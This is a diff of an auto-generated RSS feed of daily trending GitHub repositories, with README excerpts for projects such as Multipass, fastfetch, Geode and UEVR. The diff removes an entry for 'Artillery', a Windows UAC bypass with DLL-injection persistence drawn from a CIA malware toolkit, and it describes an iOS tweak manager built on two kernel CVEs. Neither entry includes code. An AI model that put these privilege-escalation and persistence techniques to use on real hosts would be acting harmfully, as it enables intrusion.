GitHub Bluespec Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:17Z
+ 2024-01-04T01:26:38ZDaily Trending of Bluespec in GitHub
\ No newline at end of file
diff --git a/boo/daily/index.xml b/boo/daily/index.xml
index 159a25a7bad..2062f2e73d7 100644
--- a/boo/daily/index.xml
+++ b/boo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Boo Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:16Z
+ 2024-01-04T01:26:37ZDaily Trending of Boo in GitHub
\ No newline at end of file
diff --git a/boogie/daily/index.xml b/boogie/daily/index.xml
index a0efffca192..44d357b91f0 100644
--- a/boogie/daily/index.xml
+++ b/boogie/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Boogie Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:19Z
+ 2024-01-04T01:26:42ZDaily Trending of Boogie in GitHub
\ No newline at end of file
diff --git a/brainfuck/daily/index.xml b/brainfuck/daily/index.xml
index 3134425c78e..af147833635 100644
--- a/brainfuck/daily/index.xml
+++ b/brainfuck/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Brainfuck Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:20Z
+ 2024-01-04T01:26:41ZDaily Trending of Brainfuck in GitHub
\ No newline at end of file
diff --git a/brightscript/daily/index.xml b/brightscript/daily/index.xml
index d5728d75f66..1180f45b3c4 100644
--- a/brightscript/daily/index.xml
+++ b/brightscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Brightscript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:19Z
+ 2024-01-04T01:26:43ZDaily Trending of Brightscript in GitHub
\ No newline at end of file
diff --git a/browserslist/daily/index.xml b/browserslist/daily/index.xml
index 4e6b0289dc9..06be87e6478 100644
--- a/browserslist/daily/index.xml
+++ b/browserslist/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Browserslist Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:23Z
+ 2024-01-04T01:26:44ZDaily Trending of Browserslist in GitHub
\ No newline at end of file
diff --git a/c%23/daily/index.xml b/c%23/daily/index.xml
index ca10327eb5b..04b69574343 100644
--- a/c%23/daily/index.xml
+++ b/c%23/daily/index.xml
@@ -1,7 +1,7 @@
GitHub C# Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:27Z
+ 2024-01-04T01:26:51ZDaily Trending of C# in GitHub
\ No newline at end of file
diff --git a/c++/daily/index.xml b/c++/daily/index.xml
index 1424d48436c..588b7afd9ee 100644
--- a/c++/daily/index.xml
+++ b/c++/daily/index.xml
@@ -1,28 +1,14 @@
GitHub C++ Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:45Z
+ 2024-01-04T01:27:08ZDaily Trending of C++ in GitHub
- TobyAdd/GDH
- 2024-01-03T01:26:45Z
- tag:github.com,2024-01-03:/TobyAdd/GDH
-
- <p>Cheat menu for Geometry Dash. Powered by ImGui</p><hr><div align="center">
<h1>GDH: Now for 2.2!</h1>
<h3>GDH - Free, integrated and first Geometry Dash mod menu for 2.2!</h3>
<p><a href="https://github.com/TobyAdd/GDH" target="_blank" rel="noreferrer"> <img src="https://github.com/TobyAdd/GDH/assets/66429886/c72b42ef-4599-4f02-8035-d1f4a9f9bfe3" alt="GDH Menu Screen" title="GDH Menu"> </a></p>
</div>
<hr>
<h2 align="center">How to use?</h2>
<ol>
<li>Open <a href="https://github.com/TobyAdd/GDH/releases/latest">latest release</a> link</li>
<li>Download "<strong>Release.zip</strong>" archive</li>
<li>Extract all files from archive to <strong>Geometry Dash</strong> folder (that contains the <strong>GeometryDash.exe</strong>)</li>
<li>Run Geometry Dash and press: <strong>Tab</strong> for show integrated menu</li>
</ol>
<hr>
<h2 align="center">Development</h2>
<p> Some dependencies are needed: <a href="https://git-scm.com/">Git</a> ; <a href="https://code.visualstudio.com/">Visual Studio Code</a> ; <a href="https://cmake.org/">CMake</a> </p>
<p>Now you can directly clone this repo or you can fork it.</p>
<p>Run this in your terminal on the folder where you want all the code:</p>
<ol>
<li> <p><strong>Clone</strong>: <code>git clone https://github.com/TobyAdd/GDH --recursive</code> & <code>cd GDH</code></p> </li>
<li> <p><strong>Configure</strong> <code>cmake -B build -A win32</code></p> </li>
<li> <p><strong>Build:</strong> <code>cmake --build build --config Release -j 4</code></p> </li>
</ol>
<ul>
<li><strong>You should find the result</strong> in <code>build/Release</code></li>
</ul>
<hr>
<p align="center"> Credits: <a href="https://github.com/ocornut/">Ocornut</a> for <a href="https://github.com/ocornut/imgui">ImGui</a> ; <a href="https://github.com/TsudaKageyu/">TsudaKageyu</a> for <a href="https://github.com/TsudaKageyu/minhook">MinHook</a> </p>
<p align="center"> Special Thanks: <a href="https://github.com/howhathe">howhathe</a> for the ReadMe ; <a href="https://github.com/zeozeozeo">zeozeozeo</a> for some coding stuff ; <a href="https://github.com/wint0r">wint0r</a> for StartPos switcher ; You. Thank for using! </p>
<hr>
<div align="center">
<a href="https://discord.gg/Q4nbm4mHYT" target="_blank" rel="noreferrer"> <img src="https://www.svgrepo.com/show/353655/discord-icon.svg?sanitize=true" alt="Discord Image (Click to open Discord Server)" title="Click to open Discord Server!" width="50"> </a>
</div>
<!--
<div align="center">
<h2>Features</h2>
| Player | Creator | Bypass | Stuff |
| --------------------------------- | --------------------- | ------------------------ | ------------------------- |
| Noclip | Copy / Verify Hack | Text / Character Bypass | Speedhack |
| Practice Music Hack | Level Edit | Shopkeeper Bypass | StartPos Switcher |
| Unlock all Icons & Levels | Slider Limit | Potbor / Scratch Bypass | Extensions Loader |
| No Transition / Particles / More | Testmode Bypass | Mechanic Bypass | UI & Hacks Customization |
| Trail Always On / Off | Custom Object Bypass | Vault of Secrets Bypass | GD-Bot? (Soon) |
| And More! | And more soon! | And more soon! | And more soon! |
</div>
-->
-
-
- geode-sdk/geode
- 2024-01-03T01:26:45Z
- tag:github.com,2024-01-03:/geode-sdk/geode
-
- <p>The ultimate Geometry Dash modding toolkit</p><hr><p align="center"> <img src="https://raw.githubusercontent.com/geode-sdk/geode/main/title.png"> </p>
<h3 align="center"> <a href="https://geode-sdk.org">Home page</a> </h3>
<p></p>
<p align="center"><b>Geode</b> is a <a href="https://store.steampowered.com/app/322170/Geometry_Dash/">Geometry Dash</a> <b>mod loader</b> and <b>modding SDK</b> with a modern approach towards mod development.</p>
<h2>Why Geode?</h2>
<p>Unlike previous mod loaders, which merely inject the DLLs and let devs handle the rest, Geode aims to be a more comprehensive project that provides all the tools needed for creating mods in one package.</p>
<p>Geode's goal is to solve <strong>mod incompatibility</strong> - to ensure that mods work together without buttons getting misplaced or hooks mysteriously disappearing.</p>
<h2>"Hello World!" Example</h2>
<p>Here's a <strong>Hello World</strong> mod in Geode:</p>
<pre><code class="language-cpp">#include <Geode/Bindings.hpp>
#include <Geode/modify/MenuLayer.hpp>
using namespace geode::prelude;
class $modify(MenuLayer) {
void onMoreGames(CCObject*) {
FLAlertLayer::create(
"Geode",
"Hello World from my Custom Mod!",
"OK"
)->show();
}
};
</code></pre>
<p>This code modifies what happens when the "More Games" button is clicked on the home scene in Geometry Dash, showing a custom popup.</p>
<h2>Documentation</h2>
<p>Detailed documentation, tutorials, and installation instructions on using Geode can be found <a href="https://docs.geode-sdk.org">here</a>.</p>
<p>New to modding GD? Geode's documentation also comes with a handy <a href="https://docs.geode-sdk.org/#/handbook/chap0">tutorial book</a> that explains all the basics of GD modding!</p>
<h2>Contribution</h2>
<p>You can contribute to Geode by opening a <a href="https://github.com/geode-sdk/geode/pulls">Pull Request</a>! Please follow the contribution guidelines.</p>
<h2>Questions, help, etc.</h2>
<p>If you have any further questions, need help, or just want to share your love for catgirls, be sure to join <a href="https://discord.gg/9e43WMKzhp">our Discord server</a>!</p>
-
-
- praydog/UEVR
- 2024-01-03T01:26:45Z
- tag:github.com,2024-01-03:/praydog/UEVR
-
- <p>Universal Unreal Engine VR Mod (4/5)</p><hr><h1>UEVR <img src="https://github.com/praydog/UEVR/actions/workflows/dev-release.yml/badge.svg?sanitize=true" alt="build"></h1>
<p>Universal Unreal Engine VR Mod (4/5)</p>
<p>4.8 - 5.3</p>
<h2>Links</h2>
<ul>
<li><a href="https://praydog.github.io/uevr-docs">Documentation</a></li>
<li><a href="https://flat2vr.com">Flat2VR Discord</a></li>
</ul>
<h2>Features</h2>
<ul>
<li>Full 6DOF support out of the box (HMD movement)</li>
<li>Full stereoscopic 3D out of the box</li>
<li>Native UE4/UE5 stereo rendering system</li>
<li>Frontend GUI for easy process injection</li>
<li>Supports OpenVR and OpenXR runtimes</li>
<li>3 rendering modes: Native Stereo, Synchronized Sequential, and Alternating/AFR</li>
<li>Automatic handling of most in-game UI so it is projected into 3D space</li>
<li>Optional 3DOF motion controls out of the box in many games, essentially emulating a semi-native VR experience</li>
<li>Optional roomscale movement in many games, moving the player character itself in 3D space along with the headset</li>
<li>In-game menu with shortcuts for adjusting settings</li>
<li>Access to various CVars for fixing broken shaders/effects/performance issues</li>
<li>Optional depth buffer integration for improved latency on some headsets</li>
<li>Per-game configurations</li>
<li>Plugin system/Blueprint support for modders to add additional features like motion controls</li>
</ul>
<h2>Getting Started</h2>
<ol>
<li>Launch the frontend GUI</li>
<li>Launch the target game</li>
<li>Locate the game in the process dropdown list</li>
<li>Select your desired runtime (OpenVR/OpenXR)</li>
<li>Toggle existing VR plugin nullification (if necessary)</li>
<li>Configure pre-injection settings</li>
<li>Inject</li>
</ol>
<h2>To-dos before injection</h2>
<ol>
<li>Disable HDR (it will still work without it, but the game will be darker than usual if it is)</li>
<li>Start as administrator if the game is not visible in the list</li>
<li>Pass <code>-nohmd</code> to the game's command line and/or delete VR plugins from the game directory if the game contains any existing VR plugins</li>
<li>Disable any overlays that may conflict and cause crashes (Rivatuner, ASUS software, Razer software, Overwolf, etc...)</li>
<li>Disable graphical options in-game that may cause crashes or severe issues like DLSS Frame Generation</li>
<li>Consider disabling <code>Hardware Accelerated GPU Scheduling</code> in your Windows <code>Graphics settings</code></li>
</ol>
<h2>In-Game Menu</h2>
<p>Press the <strong>Insert</strong> key or <strong>L3+R3</strong> on an XInput based controller to access the in-game menu, which opens by default at startup. With the menu open, hold <strong>RT</strong> for various shortcuts:</p>
<ul>
<li>RT + Left Stick: Move the camera left/right/forward/back</li>
<li>RT + Right Stick: Move the camera up/down</li>
<li>RT + B: Reset camera offset</li>
<li>RT + Y: Recenter view</li>
<li>RT + X: Reset standing origin</li>
</ul>
<h2>Quick overview of rendering methods</h2>
<h3>Native Stereo</h3>
<p>When it works, it looks the best, performs the best (usually). Can cause crashes or graphical bugs if the game does not play well with it.</p>
<p>Temporal effects like TAA are fully intact. DLSS/FSR2 usually work completely fine with no ghosting in this mode.</p>
<p>Fully synchronized eye rendering. Works with the majority of games. Uses the actual stereo rendering pipeline in the Unreal Engine to achieve a stereoscopic image.</p>
<h3>Synchronized Sequential</h3>
<p>A form of AFR. Can fix many rendering bugs that are introduced with Native Stereo. Renders two frames <strong>sequentially</strong> in a <strong>synchronized</strong> fashion on the same engine tick.</p>
<p>Fully synchronized eye rendering. Game world does not advance time between frames.</p>
<p>Looks normal but temporal effects like TAA will have ghosting/doubling effect. Motion blur will need to be turned off.</p>
<p>This is the first alternative option that should be used if Native Stereo is not working as expected or you are encountering graphical bugs.</p>
<p><strong>Skip Draw</strong> skips the viewport draw on the next engine tick. Usually works the best but sometimes particle effects may not play at the correct speed.</p>
<p><strong>Skip Tick</strong> skips the next engine tick entirely. Usually buggy but does fix particle effects and sometimes brings higher performance.</p>
<h3>AFR</h3>
<p>Alternated Frame Rendering. Renders each eye on separate frames in an alternating fashion, with the game world advancing time in between frames. Causes eye desyncs and usually nausea along with it.</p>
<p>Not synchronized. Generally should not be used unless the other two are unusable in some way.</p>
+ canonical/multipass
+ 2024-01-04T01:27:08Z
+ tag:github.com,2024-01-04:/canonical/multipass
+
+ <p>Multipass orchestrates virtual Ubuntu instances</p><hr><h1>What is Multipass?</h1>
<p>Multipass is a lightweight VM manager for Linux, Windows and macOS. It's designed for developers who want a fresh Ubuntu environment with a single command. It uses KVM on Linux, Hyper-V on Windows and QEMU on macOS to run the VM with minimal overhead. It can also use VirtualBox on Windows and macOS. Multipass will fetch images for you and keep them up to date.</p>
<p>Since it supports metadata for cloud-init, you can simulate a small cloud deployment on your laptop or workstation.</p>
<h2>Project Status</h2>
<table>
<thead>
<tr>
<th>Service</th>
<th align="left">Status</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/canonical/multipass/actions">CI</a></td>
<td align="left"><a href="https://github.com/canonical/multipass/actions?query=branch%3Amain+workflow%3ALinux"><img src="https://github.com/canonical/multipass/workflows/Linux/badge.svg?branch=main" alt="Build Status"></a></td>
</tr>
<tr>
<td><a href="https://snapcraft.io/">Snap</a></td>
<td align="left"><a href="https://snapcraft.io/multipass"><img src="https://snapcraft.io/multipass/badge.svg?sanitize=true" alt="Build Status"></a></td>
</tr>
<tr>
<td><a href="https://codecov.io/">Codecov</a></td>
<td align="left"><a href="https://codecov.io/gh/canonical/multipass"><img src="https://codecov.io/gh/canonical/multipass/branch/main/graph/badge.svg?sanitize=true" alt="Codecov Status"></a></td>
</tr>
</tbody>
</table>
<h1>Install Multipass</h1>
<p>On Linux it's available as a snap:</p>
<pre><code>sudo snap install multipass
</code></pre>
<p>For macOS, you can download the installers <a href="https://github.com/canonical/multipass/releases">from GitHub</a> or <a href="https://github.com/Homebrew/brew">use Homebrew</a>:</p>
<pre><code># Note, this may require you to enter your password for some sudo operations during install
# Mac OS users may need to disable their firewall to launch a multipass instance successfully
brew install --cask multipass
</code></pre>
<p>On Windows, download the installer <a href="https://github.com/canonical/multipass/releases">from GitHub</a>.</p>
<h1>Usage</h1>
<h2>Find available images</h2>
<pre><code>$ multipass find
Image Aliases Version Description
core core16 20200213 Ubuntu Core 16
core18 20200210 Ubuntu Core 18
16.04 xenial 20200721 Ubuntu 16.04 LTS
18.04 bionic,lts 20200717 Ubuntu 18.04 LTS
20.04 focal 20200720 Ubuntu 20.04 LTS
daily:20.10 devel,groovy 20200721 Ubuntu 20.10
</code></pre>
<h2>Launch a fresh instance of the current Ubuntu LTS</h2>
<pre><code>$ multipass launch ubuntu
Launching dancing-chipmunk...
Downloading Ubuntu 18.04 LTS..........
Launched: dancing chipmunk
</code></pre>
<h2>Check out the running instances</h2>
<pre><code>$ multipass list
Name State IPv4 Release
dancing-chipmunk RUNNING 10.125.174.247 Ubuntu 18.04 LTS
live-naiad RUNNING 10.125.174.243 Ubuntu 18.04 LTS
snapcraft-asciinema STOPPED -- Ubuntu Snapcraft builder for Core 18
</code></pre>
<h2>Learn more about the VM instance you just launched</h2>
<pre><code>$ multipass info dancing-chipmunk
Name: dancing-chipmunk
State: RUNNING
IPv4: 10.125.174.247
Release: Ubuntu 18.04.1 LTS
Image hash: 19e9853d8267 (Ubuntu 18.04 LTS)
CPU(s): 1
Load: 0.97 0.30 0.10
Disk usage: 1.1G out of 4.7G
Memory usage: 85.1M out of 985.4M
</code></pre>
<h2>Connect to a running instance</h2>
<pre><code>$ multipass shell dancing-chipmunk
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-42-generic x86_64)
...
</code></pre>
<p>Don't forget to logout (or Ctrl-D) or you may find yourself heading all the way down the Inception levels... ;)</p>
<h2>Run commands inside an instance from outside</h2>
<pre><code>$ multipass exec dancing-chipmunk -- lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
</code></pre>
<h2>Stop an instance to save resources</h2>
<pre><code>$ multipass stop dancing-chipmunk
</code></pre>
<h2>Delete the instance</h2>
<pre><code>$ multipass delete dancing-chipmunk
</code></pre>
<p>It will now show up as deleted:</p>
<pre><code class="language-$">Name State IPv4 Release
snapcraft-asciinema STOPPED -- Ubuntu Snapcraft builder for Core 18
dancing-chipmunk DELETED -- Not Available
</code></pre>
<p>And when you want to completely get rid of it:</p>
<pre><code>$ multipass purge
</code></pre>
<h2>Get help</h2>
<pre><code>
multipass help
multipass help <command>
</code></pre>
<h1>Get involved!</h1>
<p>Here's a set of steps to build and run your own build of Multipass. Please note that the following instructions are for building Multipass for Linux only. These instructions do not support building packages for macOS or Windows systems.</p>
<h2>Build Dependencies</h2>
<pre><code>cd <multipass>
apt install devscripts equivs
mk-build-deps -s sudo -i
</code></pre>
<h2>Building</h2>
<pre><code>cd <multipass>
git submodule update --init --recursive
mkdir build
cd build
cmake ../
make
</code></pre>
<h2>Running Multipass daemon and client</h2>
<p>First, install multipass's runtime dependencies. On amd64 architecture, you can achieve that with:</p>
<pre><code>sudo apt update
sudo apt install libgl1 libpng16-16 libqt6core6 libqt6gui6 \
libqt6network6 libqt6widgets6 libxml2 libvirt0 dnsmasq-base \
dnsmasq-utils qemu-system-x86 qemu-utils libslang2 iproute2 \
iptables iputils-ping libatm1 libxtables12 xterm
</code></pre>
<p>Then run multipass's daemon:</p>
<pre><code>sudo <multipass>/build/bin/multipassd &
</code></pre>
<p>Copy the desktop file multipass clients expect to find in your home:</p>
<pre><code>mkdir -p ~/.local/share/multipass/
cp <multipass>/data/multipass.gui.autostart.desktop ~/.local/share/multipass/
</code></pre>
<p>Optionally, enable auto-complete in bash:</p>
<pre><code>source <multipass>/completions/bash/multipass
</code></pre>
<p>Finally, use multipass's clients:</p>
<pre><code><multipass>/build/bin/multipass launch --name foo # CLI client
<multipass>/build/bin/multipass.gui # GUI client
</code></pre>
<h1>More information</h1>
<p>See <a href="https://discourse.ubuntu.com/c/multipass/doc">the Multipass documentation</a>.</p>
\ No newline at end of file
diff --git a/c-objdump/daily/index.xml b/c-objdump/daily/index.xml
index 80c28ac1a3c..01df9085e60 100644
--- a/c-objdump/daily/index.xml
+++ b/c-objdump/daily/index.xml
@@ -1,7 +1,7 @@
GitHub C-ObjDump Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:42Z
+ 2024-01-04T01:27:05ZDaily Trending of C-ObjDump in GitHub
\ No newline at end of file
diff --git a/c/daily/index.xml b/c/daily/index.xml
index 949bfe581ea..452d9f30589 100644
--- a/c/daily/index.xml
+++ b/c/daily/index.xml
@@ -1,21 +1,28 @@
GitHub C Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:26:34Z
+ 2024-01-04T01:26:56ZDaily Trending of C in GitHub
- fastfetch-cli/fastfetch
- 2024-01-03T01:26:34Z
- tag:github.com,2024-01-03:/fastfetch-cli/fastfetch
-
- <p>Like neofetch, but much faster because written mostly in C.</p><hr><h1>Fastfetch</h1>
<p><a href="https://github.com/fastfetch-cli/fastfetch/actions"><img src="https://img.shields.io/github/actions/workflow/status/fastfetch-cli/fastfetch/ci.yml" alt="GitHub Workflow Status (with event)"></a> <a href="https://github.com/fastfetch-cli/fastfetch/raw/dev/LICENSE"><img src="https://img.shields.io/github/license/fastfetch-cli/fastfetch" alt="GitHub license"></a> <a href="https://github.com/fastfetch-cli/fastfetch/graphs/contributors"><img src="https://img.shields.io/github/contributors/fastfetch-cli/fastfetch" alt="GitHub contributors"></a> <a href="https://github.com/fastfetch-cli/fastfetch/raw/dev/CMakeLists.txt#L5"><img src="https://img.shields.io/github/languages/top/fastfetch-cli/fastfetch?logo=c&label=" alt="GitHub top language"></a> <a href="https://github.com/fastfetch-cli/fastfetch/commits"><img src="https://img.shields.io/github/commit-activity/m/fastfetch-cli/fastfetch" alt="GitHub commit activity (branch)"></a><br> <a href="https://formulae.brew.sh/formula/fastfetch#default"><img src="https://img.shields.io/homebrew/installs/dm/fastfetch?logo=homebrew" alt="homebrew downloads"></a> <a href="https://github.com/fastfetch-cli/fastfetch/releases"><img src="https://img.shields.io/github/downloads/fastfetch-cli/fastfetch/total?logo=github" alt="GitHub all releases"></a><br> <a href="https://github.com/fastfetch-cli/fastfetch/releases"><img src="https://img.shields.io/github/v/release/fastfetch-cli/fastfetch?logo=github" alt="GitHub release (with filter)"></a> <a href="https://repology.org/project/fastfetch/versions"><img src="https://repology.org/badge/latest-versions/fastfetch.svg?sanitize=true" alt="latest packaged version(s)"></a> <a href="https://repology.org/project/fastfetch/versions"><img src="https://repology.org/badge/tiny-repos/fastfetch.svg?sanitize=true" alt="Packaging status"></a></p>
<p>Fastfetch is a <a href="https://github.com/dylanaraps/neofetch">neofetch</a>-like tool for fetching system information and displaying them in a pretty way. It is written mainly in C, with performance and customizability in mind. Currently, Linux, Android, FreeBSD, MacOS and Windows 7+ are supported.</p>
<img src="https://raw.githubusercontent.com/fastfetch-cli/fastfetch/dev/screenshots/example1.png" width="49%" align="left">
<img src="https://upload.wikimedia.org/wikipedia/commons/2/24/Transparent_Square_Tiles_Texture.png" width="49%" height="16px" align="left">
<img src="https://raw.githubusercontent.com/fastfetch-cli/fastfetch/dev/screenshots/example4.png" width="49%" align="left">
<img src="https://upload.wikimedia.org/wikipedia/commons/2/24/Transparent_Square_Tiles_Texture.png" width="49%" height="16px" align="left">
<img src="https://raw.githubusercontent.com/fastfetch-cli/fastfetch/dev/screenshots/example2.png" width="48%" align="top">
<img src="https://raw.githubusercontent.com/fastfetch-cli/fastfetch/dev/screenshots/example3.png" width="48%" align="top">
<img src="https://raw.githubusercontent.com/fastfetch-cli/fastfetch/dev/screenshots/example5.png" height="15%" align="top">
<p>There are <a href="https://github.com/fastfetch-cli/fastfetch/wiki">screenshots on different platforms</a></p>
<h2>Installation</h2>
<h3>Linux</h3>
<ul>
<li>Debian / Ubuntu: Download <code>fastfetch-<version>-Linux.deb</code> from <a href="https://github.com/fastfetch-cli/fastfetch/releases/latest">Github release page</a> and <code>dpkg -i fastfetch-<version>-Linux.deb</code></li>
<li>Arch Linux: <code>sudo pacman -S fastfetch</code></li>
<li>Fedora: <code>sudo dnf install fastfetch</code></li>
<li>Gentoo: <code>sudo emerge --ask app-misc/fastfetch</code></li>
<li>NixOS: <code>sudo nix-shell -p fastfetch</code></li>
<li>openSUSE: <code>sudo zypper install fastfetch</code></li>
</ul>
<p>Replace sudo with doas depending on what you use.</p>
<p><a href="https://raw.githubusercontent.com/fastfetch-cli/fastfetch/dev/#Packaging">See also if fastfetch has been packaged for your favorite Linux distro</a></p>
<h3>macOS</h3>
<p><code>brew install fastfetch</code></p>
<h3>Windows</h3>
<p><code>scoop install fastfetch</code></p>
<p>You may also download it directly from <a href="https://github.com/fastfetch-cli/fastfetch/releases/latest">GitHub releases page</a> and extract the archive.</p>
<h3>FreeBSD</h3>
<p><code>pkg install fastfetch</code></p>
<h3>Android (Termux)</h3>
<p><code>pkg install fastfetch</code></p>
<h2>Build from source</h2>
<p>See Wiki: <a href="https://github.com/fastfetch-cli/fastfetch/wiki/Building">https://github.com/fastfetch-cli/fastfetch/wiki/Building</a></p>
<h2>Usage</h2>
<ul>
<li>Run it with default configuration: <code>fastfetch</code></li>
<li>Run it with <a href="https://github.com/fastfetch-cli/fastfetch/wiki/Support+Status#available-modules">all supported modules</a> and find what you interest: <code>fastfetch -c all.jsonc</code></li>
<li>Find all data that fastfetch detects: <code>fastfetch -s <module> --format json</code></li>
<li>Display help messages: <code>fastfetch --help</code></li>
<li>Generate config file based on command line arguments: <code>fastfetch --arg1 --arg2 --gen-config</code></li>
</ul>
<h2>Customization</h2>
<p>Fastfetch uses the JSONC (or JSON with comments) for configuration. <a href="https://github.com/fastfetch-cli/fastfetch/wiki/Configuration">See Wiki for detail</a>. There are some premade config files in <a href="https://raw.githubusercontent.com/fastfetch-cli/fastfetch/dev/presets"><code>presets</code></a>, including the ones used for the screenshots above. You can load them using <code>-c <filename></code>. They may also serve as a good example for format arguments.</p>
<p>Logos can be heavily customized too; see the <a href="https://github.com/fastfetch-cli/fastfetch/wiki/Logo-options">logo documentation</a> for more information.</p>
<h2>Packaging</h2>
<h3>Repositories</h3>
<p><a href="https://repology.org/project/fastfetch/versions"><img src="https://repology.org/badge/vertical-allrepos/fastfetch.svg?header=" alt="Packaging status"></a></p>
<h3>Manual</h3>
<ul>
<li>DEB / RPM package: <code>cmake --build . --target package</code></li>
<li>Install directly: <code>cmake --install . --prefix /usr/local</code></li>
</ul>
<h2>FAQ</h2>
<p>Q: Why do you need a very performant version of neofetch?</p>
<blockquote>
<p>I like putting neofetch in my ~/.bashrc to have a system overview whenever I use the terminal, but the slow speed annoyed me, so I created this. Also neofetch didn't output everything correctly (e.g Font is displayed as "[Plasma], Noto Sans, 10 [GTK2/3]") and writing my own tool gave me the possibility to fine tune it to run perfectly on at least my configuration.</p>
</blockquote>
<p>Q: It does not display [*] correctly for me, what can I do?</p>
<blockquote>
<p>This is most likely because your system is not implemented (yet). At the moment I am focusing more on making the core app better, than adding more configurations. Feel free to open a pull request if you want to add support for your configuration</p>
</blockquote>
<h2>Star History</h2>
<p>Give it a star to support us!</p>
<a href="https://star-history.com/#fastfetch-cli/fastfetch&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=fastfetch-cli/fastfetch&type=Date&theme=dark">
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=fastfetch-cli/fastfetch&type=Date">
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=fastfetch-cli/fastfetch&type=Date">
</picture> </a>
+ PureKFD/PureKFD
+ 2024-01-04T01:26:56Z
+ tag:github.com,2024-01-04:/PureKFD/PureKFD
+
+ <p>A KFD Focused Package Manager that supports 14.0-16.6.1!</p><hr><p align="right"> <img align="right" height="140" src="https://github.com/PureKFD/PureKFD/raw/main/Icon.png?raw=true" alt="PureKFD Logo" style="float: right; border-radius: 10px;"> </p>
<h1 align="left">PureKFD - The Purest iOS Customization Toolbox</h1>
<p align="left"> <strong><a href="https://github.com/PureKFD/PureKFD/releases/latest">Download</a></strong> โข <strong><a href="https://discord.gg/Mve4nWJMrz">Discord</a></strong> โข <strong><a href="https://twitter.com/Lrdsnow101">Twitter</a></strong> </p>
<h2>Overview</h2>
<p>PureKFD is a KFD Focused Package Manager for iOS, focusing on iOS versions 14.0 through 16.6.1 using KFD (CVE-2023-41974) and MDC (CVE-2022-46689). PureKFD allows users to customize their iOS experience through a user-friendly interface, utilizing community-developed tweaks available from the communityโs repositories.</p>
<h2>Getting Started</h2>
<ol>
<li><strong>Compatibility:</strong> Ensure your iOS device is running an iOS version 14.0 through 16.6.1.</li>
<li><strong>Installation:</strong> Download PureKFD from the <a href="https://github.com/PureKFD/PureKFD/releases/latest">github releases</a> for the latest release or <a href="https://discord.gg/Mve4nWJMrz">our discord</a> for the latest betas.</li>
<li><strong>Customize:</strong> Explore the vast array of tweaks, personalize your iOS experience, and make your device truly yours.</li>
</ol>
<h2>Credits</h2>
<ul>
<li><a href="https://github.com/Lrdsnow"><strong>Lrdsnow</strong></a> - Main Developer</li>
<li><a href="https://github.com/asdfugil"><strong>Nick Chan</strong></a> - Developer</li>
<li><a href="https://github.com/leminlimez"><strong>leminlimez</strong></a> - Springboard Color Manager</li>
<li><a href="https://icons8.com"><strong>icons8</strong></a> - Plumpy Icons</li>
<li><a href="https://github.com/emmikat"><strong>emmikat</strong></a> - M1/M2 Fixes</li>
<li><a href="https://github.com/dhinakg"><strong>dhinakg</strong></a> - M1/M2 Fixes</li>
<li><a href="https://github.com/lilmayofuksu"><strong>lilmayofuksu</strong></a> - M1/M2 Fixes</li>
<li><a href="https://github.com/noxwell"><strong>noxwell</strong></a> - M1/M2 Fixes</li>
<li><a href="https://discord.com/users/455513497288310785">@dor4a</a> - Icon/Tweak Creator/Translator</li>
<li><a href="https://discord.com/users/424899221267939328">@hackzy</a> - Icon/Tweak Creator</li>
<li><a href="https://discord.com/users/669665537051197491">@dreelpoop_er</a> - Icon/Tweak Creator</li>
<li><a href="https://github.com/olivertzeng"><strong>Oliver Tzeng</strong></a> - Translator</li>
<li><a href="https://discord.com/users/1070904865657729035">@lunginspector</a> - Icon Creator</li>
<li><a href="https://discord.com/users/717985587235258388">@k3wl.4id</a> - Icon Creator</li>
<li><a href="https://discord.com/users/995151326264705074">@<em>severalpeople</em></a> - Icon Creator</li>
<li><a href="https://discord.com/users/822833988997218314">@mildpeppercat</a> - Icon Creator</li>
<li><a href="https://discord.com/users/672886506859266051">@modmenus</a> - Icon Creator</li>
</ul>
- hackerhouse-opensource/Artillery
- 2024-01-03T01:26:34Z
- tag:github.com,2024-01-03:/hackerhouse-opensource/Artillery
-
- <p>CIA UAC bypass implementation that utilizes elevated COM object to write to System32 and an auto-elevated process to execute as administrator.</p><hr><h1>Artillery</h1>
<p>Artillery is a UAC bypass method described by the Central Intelligence Agency (CIA) Applied Engineering Department (AED) in the "Fine Dining" toolkit, which are modular components used to create malware. This module is part of the Privilege Escalation collection and is combined with other modules and payloads. The purpose is to bypass UAC and a second attack is used to obtain persistence on a host. Artillery utilizes elevated COM object to write to System32 and an auto-elevated process to execute as administrator, it can then be combined with a FAX DLL injection for explorer.exe for persistence on a host. This UAC bypass and persistence has been tested on Windows 7.</p>
<h2>License</h2>
<p>These files are available under a Attribution-NonCommercial-NoDerivatives 4.0 International license.</p>
+ libffi/libffi
+ 2024-01-04T01:26:56Z
+ tag:github.com,2024-01-04:/libffi/libffi
+
+ <p>A portable foreign-function interface library.</p><hr><h1>Status</h1>
<p>libffi-3.4.4 was released on October 23, 2022. Check the libffi web page for updates: <a href="URL:http://sourceware.org/libffi/">URL:http://sourceware.org/libffi/</a>.</p>
<h1>What is libffi?</h1>
